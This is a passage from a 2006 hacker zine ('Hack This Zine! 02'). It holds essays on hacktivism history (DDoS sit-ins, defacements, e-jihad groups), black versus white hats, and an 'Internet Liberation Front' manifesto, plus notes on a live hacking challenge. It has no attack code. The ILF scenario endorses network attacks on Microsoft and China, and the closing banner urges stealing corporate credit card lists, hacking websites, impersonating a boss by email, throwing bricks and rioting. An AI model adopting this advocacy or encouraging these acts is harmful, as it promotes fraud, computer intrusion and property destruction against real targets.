The idea would be to have a mailing list where one use can send a message to an address which in turn would send it to all the members of the bloc who are registered on this list. If you are in a really large bloc you can set up a cluster mailing list where each affinity group could have their own mailing list, say group1@mailinglist.net group2@mailinglist.net group3@mailinglist.net.. Those address will be registered on another mailing list say bloc@mailinglist.net so that messages that only concern a certain group can stay within the group while larger messages that effect everyone can be sent to all the entire bloc using the bloc@mailinglist.net.

If you change your mailing list address often and verify all those on the list the chance of police intercepting your tactical information is largly reduced. The downside is of course the amount of time it takes to type and send a message using a cell phone might not be avalible when your smashing the state, thats why other forms of communication should still be used.

This article only touches the surface of how we can improve our communication

and information gathering skills, tips discussed in this article are just the beginning. To pose a real threat to the powers of the state we must spend more of our time training for upcoming actions. Our enemies take training very seriously and so should we. We should start training people to use a wide range of equipment and skills. Not only those discussed in this article but what ever you can think of to keep our tactics new and creative. The more random our tactics seem the less the police can prepare to counter them. This way, next time we meet the cops in battle, they wont know what hit them.

```
################################################################################
#   18. Beyond Physical Borders: Hacking and Activism on the Net   by Fetus    #
################################################################################
```

The combination of activism, the Internet and hacking is hacktivism; its abstract can be partially defined in the "hacker ethic," as described in Steven Levy's Hackers:

1) Access to computers- and anything which might each you something about the way the world works should be unlimited and total. Always yield to the Hands-On Imperative!
2) All information should be free.
3) Mistrust Authority - Promote Decentralization
4) Hackers should be judged by their hacking, not bogus criteria such as degrees, age, race or religion.
5) You can create art and beauty on a computer.

Free information, although described by Levy as an ethic, is more precisely a core value for which the hacker ethic achieves. It demands uncompromised availability. However there are forces opposing its existence. Companies and governments are threatened and have responded to hackers by attacking networks of free communication as they progress toward the free information movement. Hacktivism is the active struggle to materialize free societies as described by the hacker ethic.

The concept of unlimited computer access for the sake of learning (the first hacker ethic) is manifested by a variety of organizations. Such examples are free softwares, education, music and free network availability. These collectives naturally adhere to the fundamental belief that all information should be free (the second hacker ethic).

The free software movement has its roots with Richard Stallman. He developed GNU, which stands for "Gnu's Not Unix. GNU is a model for software developers to release their code free from the threat of privatization. This is done under the General Public License, or the GPL. According to the website, the GPL is constructed to assure that software developers "have the freedom to distribute

copies of free software, receive source code, and change the software or use pieces of it in new programs. The GPL assures that this is accomplished by specifically stating:

1) Changes to existing free software must be made known to its recipient that it was modified.
2) All softwares released under the GPL "must be licensed for everyone's free use or not licensed at all.

The successes of the open source movement have inspired programmers to release their code under the GPL. For example, sourceforge.net provides an opportunity for people to release their projects (which currently numbers at 99,572) freely. Other institutions have adapted the open source GPL model. The online free encyclopedia Wikipedia encourages people to contribute and edit its contents implementing democratic methods such as page history and discussion.

Universities are also contributing to the open source movement by releasing all course materials and lectures free of charge. For example the Open Course Ware project at MIT has set a new standard for higher education. Charles Vest, President of MIT, in the annual report explained that:

"The computer industry learned the hard way that closed software systems - based on a framework of proprietary knowledge - did not fit the world they themselves had created. The organic world of open software and open systems was the true wave of the future. Higher education must learn from this. We must create open knowledge systems as the new framework for teaching and learning."

Although these intuitions have taken the initiative to spread the benefits of open source, giant corporations (and governments alike) are vehemently fighting its development. A major milestone case is SCO vs. IBM. Stephen Shanklan, staff writer of CNET News.com reported that SCO, the "inheritor of the intellectual property for the Unix operating system has sued IBM for more than $1 billion." Chris Sontag, Senior Vice President of SCO claimed that IBM "has contaminated their Linux work with inappropriate knowledge from Unix." However, SCO does not stand unsupported in this legal battle. Microsoft, a multibillion-dollar software corporation and an advocator of proprietary source code, had been financially backing SCO's legal defense. In another article, Stephen Shanklan reported that Microsoft gave a total of $16.6 million dollars to SCO "for a Unix license, according to regulatory filings." Corporations like Microsoft and SCO are using their economic superiority to undermine the free-software movement because it threatens their profit in the industry.

Corporations are not the only entity working against the free information evolution. The U.S. Department of State, in a release made by the Bureau of Democracy admits that the Chinese government:

Continued to suppress political, religious and social groups, as well as individuals, that it perceived to be a threat to regime power or national stability. The Government's human rights record remained poor, and the Government continued to commit numerous and serious abuses. It refused to allow social, political or religious groups to organize or act independently of the Government and the Communist Party. Those who tried to act independently were often harassed, detained or abused by the authorities.

Nick Mathaison, a writer for the Observer reported Microsoft sold technology used to censor the Internet to the Chinese government. It has "resulted in the jailing of its political opponents" Mathaison continues to explain that Amnesty International "has cited Microsoft for helping fuel 'a dramatic rise in the number of people detained or sentenced for internet-related offences'."

In its press release, Microsoft declared that it signed an agreement with the Chinese authorities to "provide national governments with controlled access to Microsoft and Windows source code." The agreement called "Government Security Program" is "tailored to the specialized security requirements of governments" that permit them to control information in an "appropriate way." In addition to "controlled access," the GSP agreement allows the participating government to "undertake research projects in the field of information security." This means that the Chinese government can spy (and punish) on its people using Microsoft products. Microsoft has profited from the deprivation of first amendment rights of the Chinese people.

Hackers have declared the inherent mistrust of authority figures because of repressive actions of large corporations and governments. The hacking community has responded by innovating tools to counter cyber oppression to bypass censorship. Hackers and activists are working together to apply civil disobedience tactics on the internet. The "Hands-On Imperative" is re-appropriated to "direct action" which generates activity liberating the people and the same time challenging the law.

Hackers have been able to overcome censorship by creating decentralized content distribution networks. These networks remain anonymous and secure because it requires all users in the network to share data in small parts. Many programs have emerged such as "peekabooty," "six/four" and "Freenet." According to sourceforge.net, a website that fosters the open source community, "Freenet is free software designed to ensure true freedom of communication over the internet. It allows anybody to publish and read information with complete anonymity."
In addition to developing technology to defend freedom on the Internet, hackers have staged attacks against those responsible for oppression. Tim Jordan insightfully states, "The rise of hacktivism has not superseded or destroyed

previous hacker politics, but has reconfigured it within a broader political landscape" (2002). The Critical Arts Ensemble (CAE) was established in 1994 arguing that the onset of the Internet will create a space in which physical laws becomes an ineffective means of enforcement. The CAE states, "Elite power, having rid itself of its national and urban bases to wander in absence on the electronic pathways, can no longer be disrupted by strategies predicted upon the contestation of sedentary forces (Jordan 2004)." Groups like the CAE are coinciding online protests with street actions.

The power now lies in computer networks. It is in the form of "Electronic Civil Disobedience (ECD)." The "nomadic" power of the corporation must be fought against on the Internet. The CAE believes that:

"The expertise hackers develop in the technologies of cyberspace can offset the imbalance of power that activists are seeking to redress. ECD magnifies its effects not by increasing the numbers of bodies involved in protests but by using the expertise of hackers to increase their political effects." (Jordan 2005)

Within two years of the CAE's call for the politicization of hackers, they developed a "theory and artform all in one." It was called Floodnet. Floodnet was developed by "four artist-hacker-activists" under a new group called the "Electronic Disturbance Theatre" (EDT). Stalbaum explained that Floodnet is an "example of conceptual net.art [sic] that empowers people through activist/artistic expression." According to the CAE's website, Internet Surfers in support of the "digital resistance" against globalization can simply click on a link, leave the browser open, and the Floodnet Applet will "automatically reload the target web page every few seconds (Stalbaum)."

The CAE first launched their Floodnet tools against websites connected to "Mexican neo-liberalism" in solidarity with the Zapatista resistance. The actions were defined as a "virtual sit-in," which parallel action in the streets. The Floodnet script deliberately makes an invalid request using keywords such as "human_rights." The targeted server will then respond with "human_rights not found on this server (Stalbaum)." Other hacking groups including the Electrohippies Collective also launched similar floodnet attacks on groups like the World Trade Organization to coincide with major street actions. The ehippies "claimed that the action was successful with the WTO conference networks being constantly slowed, brought to a complete total halt on two occasions and with 450,000 people participating over five days.

This sort of online direct action is disputed as "hacktivism" by Oxblood Ruffin, a prominent member of the Cult of the Dead Cow. Oxblood claimed in a speech at the CyberCrime and Digital Law Enforcement Conference at Yale Law School that "DoS' (denial of service) attacks (carried out by the CAE, EDT, and ehippies)

"smelled like the same cheap hacks were being elevated to political street protests when they weren't more than script kiddy antics in drag." He declared that "digital disobedience or cyber sit-ins" were not synonymous with hacktivism.

Instead Ruffin came up with a modified form of Richard Stallman's GPL known as the "Hacktivismo Enhanced Source Software License Agreement." HESSLA uses the Universal Declaration of Human Rights (UDHR) as the basis of its philosophy. The UDHR was developed in 1948 in the General Assembly of the United Nations to avoid the atrocities committed during World War II. Its main principles are:

The HESSLA license follows the declaration that:
Both Hacktivismo and its end-users to go to court if someone tries to use the software in a malicious manner, or to introduce harmful changes in the software. It also contains more robust language than has previously been used to maximize enforcement against governments around the world.

Any government or institution guilty of human rights violations can be prosecuted if caught using software with this license. Although this license has never debut in the court systems, it remains a symbolic act of the hacktivist and has sprouted in other scalable and effective forms.

However, many hackers feel that the GPL and HESSLA license do not go far enough in defending the open source movement. Corporations like SCO and Microsoft are actively working together to sue major distributors of Linux. Because of their economic advantage and influence in the court system, they have been successful in bringing charges against the Linux community for allegedly stealing portions of "copyrighted" SCO UNIX source codes. Hackers, left with no other voice, have taken matters in their own hands by directly attacking SCO servers. Tactics have started out with simple DDOS attacks which shut down severs for periods of time (Wagner) but have evolved into more complex attacks such as website defacements (Barr) and even worms and viruses infecting hundreds of thousands of computers to attack SCO servers (Hines). The actions of SCO have radicalized hackers to take actions in more ways than distributing free code.

More aggressive forms of hacktivism have emerged in the Middle East conflict. "There has been a massive increase in online activities, particularly in relation to the conflict in Palestine and Israel (and more recently associated with 9-11), which has been labeled 'e-jihad'," explains Gary Bunt. "E-jihad" is an electronic version of the holy war representing the struggle of good over evil. The "massive increase in online activities" is cyber warfare. It wholly rejects the "digitally correct" philosophy and has taken the hacker ethic of the "hands-on imperative" or "direct action" to its final step.

The Pro-Palestinian hacking group,"World's Fantabulous Defacers" (WFD) was

responsible for hundreds of web defacements against Israeli, Indian, Taiwanese, Yugoslavic and the online bank Karachi website. Their most notorious attack was against the Israeli Prime Minister Ariel Sharon's election campaign website in 2001. They posted grotesque images of "a badly scarred child whose horrific injuries were the result of his house being 'burned down by illegal Jewish settlers in the West Bank'." They explained their actions that:

We are no heroes but merely hackers while we understand that it is not feasible for us to successfully make a legitimate difference in oppressed and tortured lives in Palestine we will continue to deface, not destroy, for the cause until there is reform until there is change until all suffering children in the world can wake up to a world of peace, not a world of death, destruction, and chaos, a world devoid of war. (Bunt)

They included links to the Intifada (translated uprising) Online, Palestinian Information Center, and the Islamic Association for Palestine.

Other Muslim hacking groups have started organizing against Israeli and Indian sites by working with various hacking groups and distributing hacker tools. Their actions range from politically motivated hacks to shout-outs to other affiliated groups. One such Muslim hacking group is called "The Muslim Hacker's Club" (MHC). In addition to distributing viruses and flood tools, Alldas.org "logged 28 hacking attacks linked to the MHC" against commercial Indian sites (Bunt). Another notorious group was called the "Silverlords." Alldas.org documented 1,436 defacements from November 2000 to April 2002. In their major defacement of paintcompany.com, they "presented a pro-Kashmiri page, with graphic photographs of human rights violations." They quoted, "STOP THE INDIAN GENOCIDE AGAINST THE PEOPLE OF KASHMIR. FREE KASHMIR, PALESTINE END THE INJUST U.N SANCTIONS ON IRAQ."

The hacking group GFORCE was another accomplished collective. They were known to have hacked the US Defense Test & Evaluation Processional Institute (DTEPI) in September 2000. They replaced the site's content with very strong messages and photos of Palestinian children being killed by the Israeli troops. Their ending statement explains their call for an e-jihad:

"We have suffered throughout the wages and will suffer no more. This is the era of cyberwarefare, where once again the Muslims have prevailed. We will not rest till every node, every line, every bit of information contained in our suppressors has not been wiped out, returning them to the dark ages. We will not tolerate anymore, and we will not fail." (Bunt)

GFORCE also hacked other "US government agencies, military and other targets via Taiwan-based platforms." GFORCE was the most "prominent group of hackers to have emerge from Pakistan (Dr. Nuker, Pakistani Hackerz Club)."

The hacking group UNITY have increased militancy under the potent cyber Islamic ideology - hacking under the "iron guard banner." They advocated penetrating the "enemy's network" and "planting code" to cause direct infrastructure damage in what they perceive as online war. UNITY described in systematic format in their hacking strategy. It follows:

1) Disabling official Israeli government sites.
2) Crashing financial sites.
3) Knocking out main Israeli ISP servers.
4) Blitzing major Israeli e-commerce sites causing transaction loss.

UNITY believes that "the more money they (Israeli cyber fronts) lose in fixing and strengthening their systems means less money to buy bullets and rockets for use against our children." Gilad Rabinovich, CEO of the Israeli ISP Netvision said, "All Israeli ISPs have been overloaded with data" and confessed that "we are just the only ones to admit it." In addition to being "overloaded with data" the CEO continues that if the cyber war were to continue "it will steal resources from us and hurt customers. (Gambill)"

In order to be effective, it is imperative that all aspects of hacktivism is embraced; promoting free decentralized information networks as well as taking direct action against those responsible for violating digital and human rights. The materialization of a free society requires the systematic destruction of oppressive forces working against the free flow of information. The internet is not free; it is made free by those who are willing to fight to protect it.

```
################################################################################
#                    19. White and Black   By shardz@dikline                   #
################################################################################
```

This paper is designed to explain to people how the security industry works and why black and white hats both need each other. First off for those of you that say you are gray hats, there is no gray hat. Gray hat is white hat, the issue is quite literally black and(or in this case) white. I'm not going to claim either to work for "the industry" as a white hat. Nor will I claim to be part of the black hat scene, but anywayz let's get started.

```
--------------------------------------------------------------------------------
White
--------------------------------------------------------------------------------
```

White hats certainly need black hats because without them there would not be a security industry. Also when I say "white hat" I dont mean sys-admins because sys-admins are just doing their job. Im talking about people like Lance Spitzer (Project Honeynet), or David Litchfield, who I like some of the papers of I just dont think when he talks about SQL passwords and how to crack them, he should

write an accompanying tool that will be most likely used by script kids than sys-admins. Lists like BuqTraq and other full disclosure lists have to be the most counter productive things ever created, but the also prove the point that white hats need black hats. Lists like the aforementioned do more harm than good, the number of script kiddies that are nurtured and encouraged by these lists far out weighs the number of patches written and holes closed. However without such support such lists would quickly become irrelevant since noone would be hacking boxes, security would no longer be an issue. If people simply stopped posting to such lists and followed a path of non disclosure and report bugs directly to the vendors (or keep them private =)) security would improve drastically since kiddies would have nothing to feed off of, thus reducing the attacks. Personally I think projects like pr0j3kt m4yh3m are a rude alert to the white hats that something is terribly awry. Its sad to think that they in their self righteous journey to "secure" the internet, that they are the ones helping to make it less secure. Either that or they're in it for the money and know exactly what their doing, I believe its a combination of the both moreso the latter than the former.

Black

Black hats, atleast true black hats, don't need white hats in any sense. However if you use a loose interpretation of the term they do, and for this paper black hat will encompass script kiddies as well as the people at the darkest ends of the spectrum. By ignoring the truely talented black hats and focusing more on the kiddies the bond between black and white will become clear. Script kiddies, in their early stages of messing with computers, thrive on white hat mailing lists like BugTraq for their infoz. These lists dumb down every topic and make tools simple enough for them to use on a mass scale. They then go and use these tools to hack computers and leave defacements, or install psyBNCs, or whatever. Then all of the sysadmins that get owned for not patching their systems within 37 seconds of the BugTraq post complain that the security industry sucks and is insecure. Then a huge amount of money is spent to research and discover security bugs. These bugs are then posted to a security mailing list where, script kiddies gather tools and infoz and hack more computers. Its a vicious circle that has snowballed out of control. I dont think anyone really learns from these lists: in theory these lists are meant to benefit security by applying pressure to the vendors to patch their systems. Which it does, however the number of sysadmins that avidly read this list are so few that the list is fairly inefficent. Therefore many systems are left unpatched and now many kiddies have a tool they can use to exploit them. The true blackhat hackers that code their own exploits paradoxially enough help the security industry more than the full disclosure white hats. This is because a single blackhat or even a group of ten with a unreleased exploit will do far less damage than the numerous script kiddies with a publically disclosed exploit. The blackhats that don't disclose

their exploits may not be helping security 100% but they are doing more good by keeping their exploits private. The chances of sysadmins getting hacked by a handful of black hat hackers with an exploit is far less than these sysadmins getting owned by a script kiddie with a tool they ripped off some list.

Conclusion

The real threat when the media, the anti-virus companies, or whoever, mentions "hackers" who they really mean are kids with tools they discovered off of full disclosure lists. Anti-Virus/Security industry is a multi million dollar industry that thrives on its colleagues doing security "research", and releasing bugs that kiddies of the virus world can write a devastating worm so that the public will buy their product. But you might ask if the vulnerabilities were known about how come the worm or whatever was so devastating? Because people dont patch thier systems. Almost any security breach can be boiled down to an error between the keyboard and the chair. Theoratically if Joe Blow subscribed to BugTraq and patched his systems as the bugs came out full disclosure would be a wonderful system. However the public does not subscribe to BugTraq even most sysadmins don't carefully moniter the integrity of thier systems, that would be a 24 hour a day job. Black hat hackers are not the problem its the industry itself and the white hat full disclosure mentality. And since the industry is spawning legions of "hackers" a day they will never go away. Thus the industry is the only problem in this equation that can be solved. The kiddies arent going away. The blackhats aren't disclosing. But the white hats seem to be the root of all the problems. After reading this paper you may be wondering where my stance is, what "hat" I wear since before I said I was neither a white hat or a black hat. And the answer is, rogue hat. A rogue is simply a hacker that looks out for himself, and their group. We don't have stereotypical agendas. We are not in it just to learn, or to help improve security. We are not in it to cause mayhem or make money. We are simply in it. Finally I will leave you all with a question. Since when did we start calling the security "scene" an industry?

shardz@dikline

```
__/\__
\ \/ /
/_/\_\
  \/
```

##

20 Autonomous Hacktivism With the Internet Liberation Front

##

In the online struggle for social justice, many of our comrades have fallen victim to law enforcement. In order for us to remain effective, we need to find

ways of clearing ourselves of becoming targets of harassment from the rich and powerful. To continue to question and confront the established order, we need to explore more secure models of radical organizing.

As part of adopting security culture and becoming anonymous, we need to organize ourselves in a decentralized way to prevent the ability for single people being busted not take down the entire group. The Internet Liberation Front(ILF), like the Animal and Earth Liberation Front before it, is a tactic to take action anonymously yet still connect with larger and broader social movements. Several ILF cells operating independent of each other with different goals but under the same points of unity allows a diversity of tactics as well as empowering others a way of tuning in and joining the struggle.

While the proposed points of unity can serve as a useful guideline for people who are organizing their own hacktivist cells, it is by no means a strict code which demands obedience. People are free to use and reuse this code as they see fit, and are free to make modifications and reuse the name if it suits their purposes. Hacktivists of world, unite!

```
!!!!!!!!!!!!!!!!!!!!!!
! ILF POINTS OF UNITY !
!!!!!!!!!!!!!!!!!!!!!!
```

1. We recognize that the established order of corporations and governments stand in the way of achieving an open internet and a free society.

2. We utilize a diversity of tactics in achieving our goals, ranging from digital rights hacktivism like building and protecting alternative channels of free secure communication as well as direct action hacktivism against those who are actively working against a free internet.

3. We need to break out of the digital realm and coordinate with and participate in political protests around the world. Our resistence must by global: on the streets and on the net!

4. The very interest in the subject will label yourself as a criminal in the eyes of the state. To protect yourself and others in the movement, we need to facilitate and build a culture of security. Organize in a decentralized anonymous way, communicate securely, don't rat on others, and become a ghost.

5. The Internet Liberation Front belongs to nobody and everybody. Anyone who are acting under these points of unity are considered an operative of the ILF, and are free to utilize and build upon the name and ideals.

A scenerio: Microsoft is hired by the Chinese government to develop systems that

block political websites. First, digital rights hacktivists circumvent their censorshipby developing open publishing software(like Freenet, IndyMedia, and file sharingservices) so we can communicate securely and anonymously. Then direct actionhacktivists orchestrate attacks on both Microsoft and Chinese computer networkswhile publically releasing the source code to the Windows operating system. Press releases are sent out to the media. The birds chirp. The sun rises.

```
################################################################################
#                              Right-wing Subversion                           #
################################################################################
```

Scattered throughout this issue is a series of graphics advocating random acts of destruction and violence. These were made and distributed by the CIA to create instability and unrest in democratic countries. The US government replaced several governments with right-wing puppet dictators friendly to the interests of the US economic and political system. This pamphlet was called the "Freedom Fighter" manual.

Every day we are bombarded with media that tries to control not only what we think, but what we think about. We care more about Janet Jackson's nipple on television then we do economic inequalities, international instability, or the impendingenergy crisis. The televisions telling us to purchase the latest cleaning products while billions around the world do not have healthy drinking water. Reality TV? Fox News? Fair and balanced?

If you want to change society, change yourself. Change the words you use, change the media. Use their propaganda against themselves. Subvert their images.

adbusters.org / subvertise.org / radicalgraphics.org
abc.net.au/arts/headspace/rn/bbing/trouble/

```
~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*
```
No matter how bad another four years of the Bush administration is going to be: we will not let the madness of war happen in our name. Tens of thousands of people descended upon Washington D.C.to counter the Inaugural March to declare that This Is Not Our President, and This Is Not Our War. Nevermind the ballots, reclaim the streets!
```
~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*
```
... the next level of hacking challenges ... www.RootThisBox.org

~*
Root This Box is a live hacking challenge where users can practice their attack and defense skills on machines set up for free range hacking. People form teams with other users and compete against other teams for control over these machines. When a machine is taken over, the team can put up a message and try to defend the machine against other attacking teams.

Tournament Play

Points are rewarded to teams based on the number of machines they have control of, what services they have running, and how long they can hold it. At the end of the month, the final scoreboard and team rankings are archived and reset as control over the servers are returned to their original owner to reconfigure and rerelease.

How do you play?

The object of the game is to be hack and take over a system and gain enough access to modify the hack.html static page in the web root. You have to update this file with the name of your team and your message to the world. For a working hack.html page, check out our example. Our scripts parse these files on an hourly basis and update your team scores in our database. From here, you have to defend the box against other teams who are also trying to take over. The longer you hold the most amount of boxes, the more points you get.

Box Submissions

The servers in this competition are submissions from users just like you. If you have an extra machine of any kind that you can throw on a network somewhere, consider setting it up for Root This Box! We like a diversity of configurations, hardware specs, and operating systems. Some box owners like to intentionally plant vulnerabilities, backdoors, or outdated software just to make the game more interesting. If you are interested in submitting a machine, please read the setup guide for specific details on how to configure your box for the competition.

How to Set up a machine for Root This Box

The game depends on having boxes set up and supplied from users just like you. If you have a spare machine lying around near a stable internet connection, consider submitting your box for the challenge. This guide will provide you with specific details and requirements for setting up a system to be entered in the Root This Box competition.

System Requirements

While you are encouraged to try a diversity of operating systems and configurations, there are some standards that need to be respected in order for it to work properly in our challenge. You are required to have a static IP address or host or some sort of dyndns.org service. You are also required to run some sort of web service on port 80 that can deliver html files. If you are behind any sort of router or firewall, you need to make sure that it is configured to forward traffic (on at least the ports for the services you want to be running) to your box's local IP address so people can connect in. The machine should be hosted on a relatively speedy and stable internet connection and should be running as much as possible. You also need to put a static html page in your web root called hack.html which our scripts will crawl and parse on an hourly basis for scoring purposes. This contains information like who is currently owning the box and what services are running.

Fun Options

Setting up a box and closing all services is no fun. Many people are putting together various configurations and even known vulnerabilities for users to play with. Of course, you are free to set up the box however you please, but we have a few recommendations. Many people are creating low level accounts and allowing users to ssh or ftp into the box to have at least a low level of access to play around with and to launch further attacks which may elevate permissions. If you choose this route, make sure you set up a cron to reset the pass back to it's default every five minutes or so otherwise someone is going to set it to something else and no one else can connect. If you need any help,you can get a hold of the RTB staff @ the IRC server irc.hackthissite.org (ssl 7000) in #rootthisbox
~*

~*
Graffiti Contest
~*
Reclaiming public space has been a pasttime of hackers and revolutionaries alike. This issue, we're starting a hacktivist graffiti contest. We want to see pictures of your best hacker or activist related tags. In a world where public space is sold to the highest bidder, graffiti is a medium of expression not controlled by corporations or government. So grab a can of spraypaint and hit the town! It's amazingly easy from making stencils to wheatpasting posters to just carrying a sharpie around with you. A blank wall is a blank mind! Grab a can of spraypaint and hit the town! Send all contributions to xec96 at hackthissite.org. Include an image, your city, and your name.
billboardliberation.com, subvertise.org, radicalgraphics.org sniggle.net

~*

```
!######################################!
!###   HACK THIS SITE SUMMER 2005   ###!
!######################################!
```

DISTRIBUTE ME WIDELY AND WILDLY!

This community publication is entirely free to own and free to share. We can only afford to publish a limited amount of copies, so we are counting on people to help pass it on to friends, local computer stores, hacker groups, 2600 meetings, libraries, bookstores, newsstands, etc.

ANTI-COPYRIGHT INFORMATION

Everything provided in this publication is anti-\⊠opyright. feel free to use and reuse any of the content provided here in your own projects. You're a part of this movement - spread the word!

CONTRIBUTE TO NEXT ISSUE!

We are always accepting additions. If you have anything to share about the latest exploits, hacktivist actions, or any other happening in the scene, send it in! We accept a variety of different mediums: from writings, images, ascii art, links, technical documents, etc. There are a number of ways you can get involved, from submissions to grammar/editing or graphic design. Check out our zine forums or get in touch with the zine staff.

MAIL ORDER

Physical copies are available for mail order through Hack This Site's website. Single copies are $5, and "anti-propaganda" packages which come with five magazines plus a flaming heap of underground newsletters,posters, leaflets, stickers, patches, etc. are available for $25.

ELECTRONIC COPIES

While we charge for physical copies of the zine to cover production costs, we believe that all information should be free to read and distribute. Electronic copies of the zine are available in a variety of formats on our website. Please distribute to various file sharing services, text file collections, etc.

Graphical PDF file: the complete magazine with complete graphical layout, ideal for printing additional copies of the zine. See the Do It Yourself Distro below for additional printing instructions.

Raw .TXT file: ideal for lynx users or
quick and speedy distribution in file sharing services, BBSs, through email, etc.

Forums: Most of the articles in this zine are available at the zine forums on our website in TXT format, where people can add comments.

DO IT YOURSELF DISTRO!

We've received countless stories of HTS people reprinting copies of the zine on their own and giving it away to everyone they know - at school, work, 2600 meetings, etc. Now's your chance to do the same. All you need is access to some printer and PDF copies of the zine.

There are two files for the zine: one is the color cover and the other is the black and white inside pages. It is formatted double sided so that when printed it can simply be folded in half. If you are using a printer that can only print in single sides, print with one sheet of paper, turn it around and print the second page on the other side repeating for the remaining pages.

The cover PDF file is high resolution color and ideally would be best printed on glossy color paper. But if all you have is black and white, then go with it!

Assemble the printed pages and use a long style stapler to bind them together. They have these available at universities, copy shops, art and craft stores, etc.

If you are distributing copies(especially outside the U.S) and want to make them available to others, let us know so we can announce your information to the Get Local section of the zine website.

Get Involved with Hack This Site

This movement is entirely what you make of it. We are structured in such a way that allows people to tune in voice their opinions and make decisions about the direction of the site and community. Check us out on IRC, go to national actions and conventions(listed to the right) and get involved!

WWW: http://www.hackthissite.org IRC: irc.hackthissite.org
EMAIL: htsdevs@gmail.com #hackthissite (SSL port 7000)

The Usual Suspects:

* --------- * --------- * ------ *

HTS STAFF	ZINE TEAM	OTHERS
---	---	---
Xec96	Xec96	smooth operator
ikari	alxCIAda	weiznit
IceShaman	Zortexia	Morklitu
buz	whooka	forcemaster
archaios	Fetus	BIG C
hairball	Wyrmkill	archangel_
whooka	mushroom5698	darkangel
html		Truckle
OutThere		Phate
br0kenkeychain		Wells
Zortexia		Brett
alxCIAda		
Mcaster		
The_Anarchist		
weekend		
psyche		
\alive		

Thanks to hbx networks, chicago 2600, dikline, those who refused to provide statements to the feds, IndyMedia, and the fine people at kinkos who helped us steal copies.
Zortexia thanks alxCIAda, JK-63, archangel_darkangel
Wyrmkill thanks whooka, morklitu and mushy

Actions and Gatherings

Hacker Conventions

- DEFCON 13 July 29-31, Las Vegas www.defcon.org
- WHAT THE HACK July 29-31, Netherlands www.whatthehack.org
- Hackers on Planet Earth 6 Summer 2006, New York City 2600.com
- 2600 Meetings First friday of every month @ a city near you: 2600.com/meetings

Free Spirits

- Burning Man August 29 2006, Nevada www.burningman.com
-Rainbow Gatherings June 1-7, Virginia www.welcomehome.org

Protests

- Anti-G8 Actions July 6-8, Scotland www.dissent.co.uk

- Biodemocracy 2005 June 18-21st, Philadelphia www.ReclaimTheCommons.net

Other Events

- Anarchist Bookfairs and Festivals San Francisco, Madison, Montreal, and More

Plug in at indymedia.org or infoshop.org for more actions!

```
################################################################################
#                                                                              #
#  Call in sick. Skip school. Go do something you always wanted to do. Take    #
#  over an intersection with a bunch of people and music and start a dance     #
#  party. Send fake emails posing as your boss and announce raises for         #
#  everybody. Get food that would have otherwise been thrown away and give it  #
#  to people who need it. Fuck with rich people. Say hi to everyone you pass   #
#  on the street. Cross out words like oppression, exploitation and boredom    #
#  in every dictionary. Write your own music and play it for free. Organize a  #
#  local anti-capitalist collective to strike terror in the hearts of the      #
#  bosses and rulers. Call someone on their shit everytime when they say       #
#  something racist, sexist or homophobic. Write your own newsletter. Op       #
#  everybody in an IRC channel. Do graffiti to add life to your town. Help     #
#  the elderly cross the street. Whenever possible, ride a bike, walk, or      #
#  take public transportation instead of using a car. Refuse to always be a    #
#  spectator. Call someone you haven't talked to in a while. Steal corporate   #
#  credit card lists and donate money to charities. Heckle your boss and/or    #
#  union bureaucrat whenever possible. Program a free open source alternative  #
#  to a commercial software application. Participate in a riot. Start a        #
#  community garden in an abandoned lot. Educate others on historical          #
#  revolutionary upheavals. Find some buckets and use them as drums at the     #
#  next protest to make it more lively. Hack a corporate or government         #
#  website and fill it with anti-capitalist messages. Start a radical          #
#  cheerleaders squad. Write "This is your death" on every piece of money you  #
#  can. Sneak your own art into museums. Steal books from big corporations     #
#  and give them to strangers. Trainhop or hitchhike accross the country. On   #
#  stop signs, add stickers that say "racism", "sexism", "capitalism", etc.    #
#  Think for yourself, question everything. Squat a vacant building. Confront  #
#  fascists everytime you see them. Throw a brick through a major              #
#  corporation's window. Start an infoshop. Create a rank and file             #
#  organization at your workplace. Monkey wrench the system. Steal someone's   #
#  heart for a day. Falsify invitations to a yuppy art gallery and pass them   #
#  out to the homeless. Celebrate every holiday of all countries and culture.  #
#                  And carry a new world in your heart.                        #
#                                                                              #
################################################################################
```

HackThisSite.org
Hack This Zine! 02
Notes from the Hacker Underground
2006

Retrieved on 2022-03-16 from exploit-db.com/papers/42908

theanarchistlibrary.org